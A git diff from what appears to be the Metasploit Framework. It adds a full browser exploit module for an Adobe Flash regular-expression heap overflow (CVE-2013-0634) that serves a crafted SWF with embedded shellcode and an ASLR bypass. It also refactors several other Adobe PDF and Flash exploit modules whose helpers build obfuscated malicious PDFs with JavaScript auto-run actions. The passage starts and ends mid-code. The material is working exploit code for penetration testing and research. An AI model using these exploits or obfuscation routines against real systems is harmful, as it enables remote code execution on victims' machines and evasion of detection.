</object> + </body> + </html> + | + + return html_template, binding() + end + + def create_swf + path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2014-0515", "Graph.swf" ) + swf = ::File.open(path, 'rb') { |f| swf = f.read } + + swf + end + +end diff --git a/modules/exploits/windows/browser/adobe_flash_regex_value.rb b/modules/exploits/windows/browser/adobe_flash_regex_value.rb new file mode 100644 index 0000000000..d5430d58e4 --- /dev/null +++ b/modules/exploits/windows/browser/adobe_flash_regex_value.rb @@ -0,0 +1,121 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::BrowserExploitServer + + def initialize(info={}) + super(update_info(info, + 'Name' => "Adobe Flash Player Regular Expression Heap Overflow", + 'Description' => %q{ + This module exploits a vulnerability found in the ActiveX component of Adobe + Flash Player before 11.5.502.149. By supplying a specially crafted swf file + with special regex value, it is possible to trigger an memory corruption, which + results in remote code execution under the context of the user, as exploited in + the wild in February 2013. This module has been tested successfully with Adobe + Flash Player 11.5 before 11.5.502.149 on Windows XP SP3 and Windows 7 SP1 before + MS13-063, since it takes advantage of a predictable SharedUserData in order to + leak ntdll and bypass ASLR. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Unknown', # malware sample + 'Boris "dukeBarman" Ryutin', # msf exploit + 'juan vazquez' # ActionScript deobfuscation and cleaning + ], + 'References' => + [ + [ 'CVE', '2013-0634' ], + [ 'OSVDB', '89936'], + [ 'BID', '57787'], + [ 'URL', 'http://malwaremustdie.blogspot.ru/2013/02/cve-2013-0634-this-ladyboyle-is-not.html' ], + [ 'URL', 'http://malware.dontneedcoffee.com/2013/03/cve-2013-0634-adobe-flash-player.html' ], + [ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/02/lady-boyle-comes-to-town-with-a-new-exploit.html' ], + [ 'URL', 'http://labs.alienvault.com/labs/index.php/2013/adobe-patches-two-vulnerabilities-being-exploited-in-the-wild/' ], + [ 'URL', 'http://eromang.zataz.com/tag/cve-2013-0634/' ] + ], + 'Payload' => + { + 'Space' => 1024, + 'DisableNops' => true + }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f', + 'Retries' => false + }, + 'Platform' => 'win', + 'BrowserRequirements' => + { + :source => /script|headers/i, + :clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}", + :method => "LoadMovie", + :os_name => OperatingSystems::Match::WINDOWS, + :ua_name => Msf::HttpClients::IE, + :flash => lambda { |ver| ver =~ /^11\.5/ && ver < '11.5.502.149' } + }, + 'Targets' => + [ + [ 'Automatic', {} ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Feb 8 2013", + 'DefaultTarget' => 0)) + end + + def exploit + @swf = create_swf + super + end + + def on_request_exploit(cli, request, target_info) + print_status("Request: #{request.uri}") + + if request.uri =~ /\.swf$/ + print_status("Sending SWF...") + send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'}) + return + end + + print_status("Sending HTML...") + tag = retrieve_tag(cli, request) + profile = get_profile(tag) + profile[:tried] = false unless profile.nil? # to allow request the swf + send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) + end + + def exploit_template(cli, target_info) + + swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" + shellcode = get_payload(cli, target_info).unpack("H*")[0] + + html_template = %Q|<html> + <body> + <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" /> + <param name="movie" value="<%=swf_random%>" /> + <param name="allowScriptAccess" value="always" /> + <param name="FlashVars" value="his=<%=shellcode%>" /> + <param name="Play" value="true" /> + </object> + </body> + </html> + | + + return html_template, binding() + end + + def create_swf + path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2013-0634", "exploit.swf" ) + swf = ::File.open(path, 'rb') { |f| swf = f.read } + + swf + end + +end diff --git a/modules/exploits/windows/browser/adobe_flash_rtmp.rb b/modules/exploits/windows/browser/adobe_flash_rtmp.rb index e36cc12fe3..89e33338e5 100644 --- a/modules/exploits/windows/browser/adobe_flash_rtmp.rb +++ b/modules/exploits/windows/browser/adobe_flash_rtmp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ - :os_name => OperatingSystems::WINDOWS, + :os_name => OperatingSystems::Match::WINDOWS, :ua_name => HttpClients::IE, :ua_minver => "6.0", :ua_maxver => "8.0", diff --git a/modules/exploits/windows/browser/adobe_flash_sps.rb b/modules/exploits/windows/browser/adobe_flash_sps.rb index 3d433d9984..e697cf10b1 100644 --- a/modules/exploits/windows/browser/adobe_flash_sps.rb +++ b/modules/exploits/windows/browser/adobe_flash_sps.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb b/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb index fde7448c30..b1af657d89 100644 --- a/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb +++ b/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/adobe_flashplayer_avm.rb b/modules/exploits/windows/browser/adobe_flashplayer_avm.rb index 7365e4595f..2fd3934e19 100644 --- a/modules/exploits/windows/browser/adobe_flashplayer_avm.rb +++ b/modules/exploits/windows/browser/adobe_flashplayer_avm.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb b/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb index a491d05fd8..4da472c537 100644 --- a/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb +++ b/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/adobe_flashplayer_newfunction.rb b/modules/exploits/windows/browser/adobe_flashplayer_newfunction.rb index c649311f54..d512e180d4 100644 --- a/modules/exploits/windows/browser/adobe_flashplayer_newfunction.rb +++ b/modules/exploits/windows/browser/adobe_flashplayer_newfunction.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -239,7 +239,7 @@ for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; js end - def RandomNonASCIIString(count) + def random_non_ascii_string(count) result = "" count.times do result << (rand(128) + 128).chr @@ -247,17 +247,17 @@ for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; result end - def ioDef(id) + def io_def(id) "%d 0 obj\n" % id end - def ioRef(id) + def io_ref(id) "%d 0 R" % id end #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ - def nObfu(str) + def n_obfu(str) result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' @@ -270,7 +270,7 @@ for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; end - def ASCIIHexWhitespaceEncode(str) + def ascii_hex_whitespace_encode(str) result = "" whitespace = "" str.each_byte do |b| @@ -291,35 +291,35 @@ for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; # Randomize PDF version? pdf = "%PDF-1.5" << eol - #pdf << "%" << RandomNonASCIIString(4) << eol + #pdf << "%" << random_non_ascii_string(4) << eol # catalog xref << pdf.length - pdf << ioDef(1) << nObfu("<</Type/Catalog") - pdf << nObfu("/Pages ") << ioRef(3) - pdf << nObfu("/OpenAction ") << ioRef(5) - pdf << nObfu(">>") + pdf << io_def(1) << n_obfu("<</Type/Catalog") + pdf << n_obfu("/Pages ") << io_ref(3) + pdf << n_obfu("/OpenAction ") << io_ref(5) + pdf << n_obfu(">>") pdf << eol << endobj # pages array xref << pdf.length - pdf << ioDef(3) << nObfu("<</Type/Pages/Count 1/Kids [") << ioRef(4) << nObfu("]>>") << eol << endobj + pdf << io_def(3) << n_obfu("<</Type/Pages/Count 1/Kids [") << io_ref(4) << n_obfu("]>>") << eol << endobj # page 1 xref << pdf.length - pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3) - pdf << nObfu("/Annots [") << ioRef(7) << nObfu("] ") - pdf << nObfu(">>") + pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) + pdf << n_obfu("/Annots [") << io_ref(7) << n_obfu("] ") + pdf << n_obfu(">>") pdf << eol << endobj # js action xref << pdf.length - pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << eol << endobj + pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << eol << endobj # js stream xref << pdf.length - compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js)) - pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol + compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js)) + pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol @@ -327,74 +327,74 @@ for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; # swf annotation object xref << pdf.length - pdf << ioDef(7) << nObfu("<</Type/Annot/Subtype/RichMedia") - pdf << nObfu("/Rect [20 20 187 69] ") - pdf << nObfu("/RichMediaSettings ") << ioRef(8) - pdf << nObfu("/RichMediaContent ") << ioRef(9) - pdf << nObfu("/NM (") << swf_name << nObfu(")") - pdf << nObfu(">>") + pdf << io_def(7) << n_obfu("<</Type/Annot/Subtype/RichMedia") + pdf << n_obfu("/Rect [20 20 187 69] ") + pdf << n_obfu("/RichMediaSettings ") << io_ref(8) + pdf << n_obfu("/RichMediaContent ") << io_ref(9) + pdf << n_obfu("/NM (") << swf_name << n_obfu(")") + pdf << n_obfu(">>") pdf << eol << endobj # rich media settings xref << pdf.length - pdf << ioDef(8) - pdf << nObfu("<</Type/RichMediaSettings/Subtype/Flash") - pdf << nObfu("/Activation ") << ioRef(10) - pdf << nObfu("/Deactivation ") << ioRef(11) - pdf << nObfu(">>") + pdf << io_def(8) + pdf << n_obfu("<</Type/RichMediaSettings/Subtype/Flash") + pdf << n_obfu("/Activation ") << io_ref(10) + pdf << n_obfu("/Deactivation ") << io_ref(11) + pdf << n_obfu(">>") pdf << eol << endobj # rich media content xref << pdf.length - pdf << ioDef(9) - pdf << nObfu("<</Type/RichMediaContent") - pdf << nObfu("/Assets ") << ioRef(12) - pdf << nObfu("/Configurations [") << ioRef(14) << "]" - pdf << nObfu(">>") + pdf << io_def(9) + pdf << n_obfu("<</Type/RichMediaContent") + pdf << n_obfu("/Assets ") << io_ref(12) + pdf << n_obfu("/Configurations [") << io_ref(14) << "]" + pdf << n_obfu(">>") pdf << eol << endobj # rich media activation / deactivation xref << pdf.length - pdf << ioDef(10) - pdf << nObfu("<</Type/RichMediaActivation/Condition/PO>>") + pdf << io_def(10) + pdf << n_obfu("<</Type/RichMediaActivation/Condition/PO>>") pdf << eol << endobj xref << pdf.length - pdf << ioDef(11) - pdf << nObfu("<</Type/RichMediaDeactivation/Condition/XD>>") + pdf << io_def(11) + pdf << n_obfu("<</Type/RichMediaDeactivation/Condition/XD>>") pdf << eol << endobj # rich media assets xref << pdf.length - pdf << ioDef(12) - pdf << nObfu("<</Names [(#{swf_name}) ") << ioRef(13) << nObfu("]>>") + pdf << io_def(12) + pdf << n_obfu("<</Names [(#{swf_name}) ") << io_ref(13) << n_obfu("]>>") pdf << eol << endobj # swf embeded file ref xref << pdf.length - pdf << ioDef(13) - pdf << nObfu("<</Type/Filespec /EF <</F ") << ioRef(16) << nObfu(">> /F(#{swf_name})>>") + pdf << io_def(13) + pdf << n_obfu("<</Type/Filespec /EF <</F ") << io_ref(16) << n_obfu(">> /F(#{swf_name})>>") pdf << eol << endobj # rich media configuration xref << pdf.length - pdf << ioDef(14) - pdf << nObfu("<</Type/RichMediaConfiguration/Subtype/Flash") - pdf << nObfu("/Instances [") << ioRef(15) << nObfu("]>>") + pdf << io_def(14) + pdf << n_obfu("<</Type/RichMediaConfiguration/Subtype/Flash") + pdf << n_obfu("/Instances [") << io_ref(15) << n_obfu("]>>") pdf << eol << endobj # rich media isntance xref << pdf.length - pdf << ioDef(15) - pdf << nObfu("<</Type/RichMediaInstance/Subtype/Flash") - pdf << nObfu("/Asset ") << ioRef(13) - pdf << nObfu(">>") + pdf << io_def(15) + pdf << n_obfu("<</Type/RichMediaInstance/Subtype/Flash") + pdf << n_obfu("/Asset ") << io_ref(13) + pdf << n_obfu(">>") pdf << eol << endobj # swf stream # NOTE: This data is already compressed, no need to compress it again... xref << pdf.length - pdf << ioDef(16) << nObfu("<</Type/EmbeddedFile/Length %s>>" % swf.length) << eol + pdf << io_def(16) << n_obfu("<</Type/EmbeddedFile/Length %s>>" % swf.length) << eol pdf << "stream" << eol pdf << swf << eol pdf << "endstream" << eol @@ -410,7 +410,7 @@ for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; end pdf << "trailer" << eol - pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol + pdf << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol pdf << "startxref" << eol pdf << xrefPosition.to_s() << eol diff --git a/modules/exploits/windows/browser/adobe_flatedecode_predictor02.rb b/modules/exploits/windows/browser/adobe_flatedecode_predictor02.rb index e90e395219..6da6ac541f 100644 --- a/modules/exploits/windows/browser/adobe_flatedecode_predictor02.rb +++ b/modules/exploits/windows/browser/adobe_flatedecode_predictor02.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -113,7 +113,7 @@ for(i = 0; i < 128; i++) { memory[i]= #{rand2} + #{rand1}; } end - def RandomNonASCIIString(count) + def random_non_ascii_string(count) result = "" count.times do result << (rand(128) + 128).chr @@ -121,16 +121,16 @@ for(i = 0; i < 128; i++) { memory[i]= #{rand2} + #{rand1}; } result end - def ioDef(id) + def io_def(id) "%d 0 obj" % id end - def ioRef(id) + def io_ref(id) "%d 0 R" % id end #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ - def nObfu(str) + def n_obfu(str) result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' @@ -142,7 +142,7 @@ for(i = 0; i < 128; i++) { memory[i]= #{rand2} + #{rand1}; } result end - def ASCIIHexWhitespaceEncode(str) + def ascii_hex_whitespace_encode(str) result = "" whitespace = "" str.each_byte do |b| @@ -180,30 +180,30 @@ for(i = 0; i < 128; i++) { memory[i]= #{rand2} + #{rand1}; } # Randomize PDF version? pdf = "%PDF-1.5" << eol - pdf << "%" << RandomNonASCIIString(4) << eol + pdf << "%" << random_non_ascii_string(4) << eol xref << pdf.length - pdf << ioDef(1) << nObfu("<</Type/Catalog/Outlines ") << ioRef(2) - pdf << nObfu("/Pages ") << ioRef(3) - pdf << nObfu("/OpenAction ") << ioRef(5) + pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) + pdf << n_obfu("/Pages ") << io_ref(3) + pdf << n_obfu("/OpenAction ") << io_ref(5) pdf << ">>" << endobj xref << pdf.length - pdf << ioDef(2) << nObfu("<</Type/Outlines/Count 0>>") << endobj + pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj xref << pdf.length - pdf << ioDef(3) << nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>") << endobj + pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj xref << pdf.length - pdf << ioDef(4) << nObfu("<</Contents ") << ioRef(7) - pdf << nObfu("/Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>") << endobj + pdf << io_def(4) << n_obfu("<</Contents ") << io_ref(7) + pdf << n_obfu("/Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj xref << pdf.length - pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << endobj + pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << endobj xref << pdf.length - compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js)) - pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol + compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js)) + pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol @@ -214,9 +214,9 @@ for(i = 0; i < 128; i++) { memory[i]= #{rand2} + #{rand1}; } compressed = Zlib::Deflate.deflate(data) xref << pdf.length - pdf << ioDef(7) << nObfu("<</DecodeParms") - pdf << nObfu("<</Columns 1/Predictor 02/Colors 1073741838/BitsPerComponent %s>>" % bits_per_component) - pdf << nObfu("/Length %s/Filter/FlateDecode>>" % compressed.length) + pdf << io_def(7) << n_obfu("<</DecodeParms") + pdf << n_obfu("<</Columns 1/Predictor 02/Colors 1073741838/BitsPerComponent %s>>" % bits_per_component) + pdf << n_obfu("/Length %s/Filter/FlateDecode>>" % compressed.length) pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol @@ -229,7 +229,7 @@ for(i = 0; i < 128; i++) { memory[i]= #{rand2} + #{rand1}; } xref.each do |index| pdf << "%010d 00000 n" % index << eol end - pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol + pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol pdf << "startxref" << eol pdf << xrefPosition.to_s() << eol pdf << "%%EOF" << eol diff --git a/modules/exploits/windows/browser/adobe_geticon.rb b/modules/exploits/windows/browser/adobe_geticon.rb index 4bad3a7ac0..cf67c75243 100644 --- a/modules/exploits/windows/browser/adobe_geticon.rb +++ b/modules/exploits/windows/browser/adobe_geticon.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -123,7 +123,7 @@ class Metasploit3 < Msf::Exploit::Remote handler(cli) end - def RandomNonASCIIString(count) + def random_non_ascii_string(count) result = "" count.times do result << (rand(128) + 128).chr @@ -131,16 +131,16 @@ class Metasploit3 < Msf::Exploit::Remote result end - def ioDef(id) + def io_def(id) "%d 0 obj" % id end - def ioRef(id) + def io_ref(id) "%d 0 R" % id end #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ - def nObfu(str) + def n_obfu(str) result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' @@ -152,7 +152,7 @@ class Metasploit3 < Msf::Exploit::Remote result end - def ASCIIHexWhitespaceEncode(str) + def ascii_hex_whitespace_encode(str) result = "" whitespace = "" str.each_byte do |b| @@ -169,20 +169,20 @@ class Metasploit3 < Msf::Exploit::Remote endobj = "endobj" << eol pdf = "%PDF-1.5" << eol - pdf << "%" << RandomNonASCIIString(4) << eol + pdf << "%" << random_non_ascii_string(4) << eol xref << pdf.length - pdf << ioDef(1) << nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << nObfu("/OpenAction ") << ioRef(5) << ">>" << endobj + pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) << n_obfu("/Pages ") << io_ref(3) << n_obfu("/OpenAction ") << io_ref(5) << ">>" << endobj xref << pdf.length - pdf << ioDef(2) << nObfu("<</Type/Outlines/Count 0>>") << endobj + pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj xref << pdf.length - pdf << ioDef(3) << nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>") << endobj + pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj xref << pdf.length - pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>") << endobj + pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj xref << pdf.length - pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << endobj + pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << endobj xref << pdf.length - compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js)) - pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol + compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js)) + pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol @@ -194,7 +194,7 @@ class Metasploit3 < Msf::Exploit::Remote xref.each do |index| pdf << "%010d 00000 n" % index << eol end - pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol + pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol pdf << "startxref" << eol pdf << xrefPosition.to_s() << eol pdf << "%%EOF" << eol diff --git a/modules/exploits/windows/browser/adobe_jbig2decode.rb b/modules/exploits/windows/browser/adobe_jbig2decode.rb index c9f0461b34..7d04b7251d 100644 --- a/modules/exploits/windows/browser/adobe_jbig2decode.rb +++ b/modules/exploits/windows/browser/adobe_jbig2decode.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -135,7 +135,7 @@ class Metasploit3 < Msf::Exploit::Remote end - def RandomNonASCIIString(count) + def random_non_ascii_string(count) result = "" count.times do result << (rand(128) + 128).chr @@ -143,16 +143,16 @@ class Metasploit3 < Msf::Exploit::Remote result end - def ioDef(id) + def io_def(id) "%d 0 obj" % id end - def ioRef(id) + def io_ref(id) "%d 0 R" % id end #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ - def nObfu(str) + def n_obfu(str) result = "" str.scan(/./u) do |c| if rand(3) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' @@ -171,7 +171,7 @@ class Metasploit3 < Msf::Exploit::Remote result end - def ASCIIHexWhitespaceEncode(str) + def ascii_hex_whitespace_encode(str) result = "" whitespace = "" str.each_byte do |b| @@ -188,32 +188,32 @@ class Metasploit3 < Msf::Exploit::Remote endobj = "endobj" << eol pdf = "%PDF-1.5" << eol - pdf << "%" << RandomNonASCIIString(4) << eol + pdf << "%" << random_non_ascii_string(4) << eol xref << pdf.length - pdf << nObfu(" ") << ioDef(1) << nObfu(" << /Type /Catalog /Outlines ") << ioRef(2) << nObfu(" /Pages ") << ioRef(3) << nObfu(" /OpenAction ") << ioRef(5) << " >> " << endobj + pdf << n_obfu(" ") << io_def(1) << n_obfu(" << /Type /Catalog /Outlines ") << io_ref(2) << n_obfu(" /Pages ") << io_ref(3) << n_obfu(" /OpenAction ") << io_ref(5) << " >> " << endobj xref << pdf.length - pdf << nObfu(" ") << ioDef(2) << nObfu(" << /Type /Outlines /Count 0 >> ") << endobj + pdf << n_obfu(" ") << io_def(2) << n_obfu(" << /Type /Outlines /Count 0 >> ") << endobj xref << pdf.length - pdf << nObfu(" ") << ioDef(3) << nObfu(" << /Type /Pages /Kids [ ") << ioRef(4) << nObfu(" ") << ioRef(7) << nObfu(" ] /Count 2 >> ") << endobj + pdf << n_obfu(" ") << io_def(3) << n_obfu(" << /Type /Pages /Kids [ ") << io_ref(4) << n_obfu(" ") << io_ref(7) << n_obfu(" ] /Count 2 >> ") << endobj xref << pdf.length - pdf << nObfu(" ") << ioDef(4) << nObfu(" << /Type /Page /Parent ") << ioRef(3) << nObfu(" /MediaBox [0 0 612 792 ] >> ") << endobj + pdf << n_obfu(" ") << io_def(4) << n_obfu(" << /Type /Page /Parent ") << io_ref(3) << n_obfu(" /MediaBox [0 0 612 792 ] >> ") << endobj xref << pdf.length - pdf << nObfu(" ") << ioDef(5) << nObfu(" << /Type /Action /S /JavaScript /JS ") + ioRef(6) + " >> " << endobj + pdf << n_obfu(" ") << io_def(5) << n_obfu(" << /Type /Action /S /JavaScript /JS ") + io_ref(6) + " >> " << endobj xref << pdf.length - compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js), rand(5)+4) # Add random 4-9 compression level - pdf << nObfu(" ") << ioDef(6) << nObfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode ] >>" % compressed.length) << eol + compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js), rand(5)+4) # Add random 4-9 compression level + pdf << n_obfu(" ") << io_def(6) << n_obfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode ] >>" % compressed.length) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol pdf << endobj xref << pdf.length - pdf << nObfu(" ") << ioDef(7) << nObfu(" << /Type /Page /Parent ") << ioRef(3) << " /Contents [ " << ioRef(8) << " ] >> " << eol + pdf << n_obfu(" ") << io_def(7) << n_obfu(" << /Type /Page /Parent ") << io_ref(3) << " /Contents [ " << io_ref(8) << " ] >> " << eol xref << pdf.length compressed = Zlib::Deflate.deflate(jbig2.unpack('H*')[0], rand(8)+1) # Convert to ASCII hex, then deflate using random 1-9 compression - pdf << nObfu(" ") << ioDef(8) << nObfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode /JBIG2Decode ] >> " % compressed.length) << eol + pdf << n_obfu(" ") << io_def(8) << n_obfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode /JBIG2Decode ] >> " % compressed.length) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol @@ -226,7 +226,7 @@ class Metasploit3 < Msf::Exploit::Remote xref.each do |index| pdf << "%010d 00000 n" % index << eol end - pdf << "trailer" << nObfu("<< /Size %d /Root " % (xref.length + 1)) << ioRef(1) << " >> " << eol + pdf << "trailer" << n_obfu("<< /Size %d /Root " % (xref.length + 1)) << io_ref(1) << " >> " << eol pdf << "startxref" << eol pdf << xrefPosition.to_s() << eol pdf << "%%EOF" << eol diff --git a/modules/exploits/windows/browser/adobe_media_newplayer.rb b/modules/exploits/windows/browser/adobe_media_newplayer.rb index 41e088e754..ab1bbc2970 100644 --- a/modules/exploits/windows/browser/adobe_media_newplayer.rb +++ b/modules/exploits/windows/browser/adobe_media_newplayer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -138,7 +138,7 @@ util.printd(#{rand3}, new Date()); end - def RandomNonASCIIString(count) + def random_non_ascii_string(count) result = "" count.times do result << (rand(128) + 128).chr @@ -146,16 +146,16 @@ util.printd(#{rand3}, new Date()); result end - def ioDef(id) + def io_def(id) "%d 0 obj" % id end - def ioRef(id) + def io_ref(id) "%d 0 R" % id end #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ - def nObfu(str) + def n_obfu(str) result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' @@ -167,7 +167,7 @@ util.printd(#{rand3}, new Date()); result end - def ASCIIHexWhitespaceEncode(str) + def ascii_hex_whitespace_encode(str) result = "" whitespace = "" str.each_byte do |b| @@ -185,20 +185,20 @@ util.printd(#{rand3}, new Date()); pdf = "%PDF-1.5" << eol - pdf << "%" << RandomNonASCIIString(4) << eol + pdf << "%" << random_non_ascii_string(4) << eol xref << pdf.length - pdf << ioDef(1) << nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << nObfu("/OpenAction ") << ioRef(5) << ">>" << endobj + pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) << 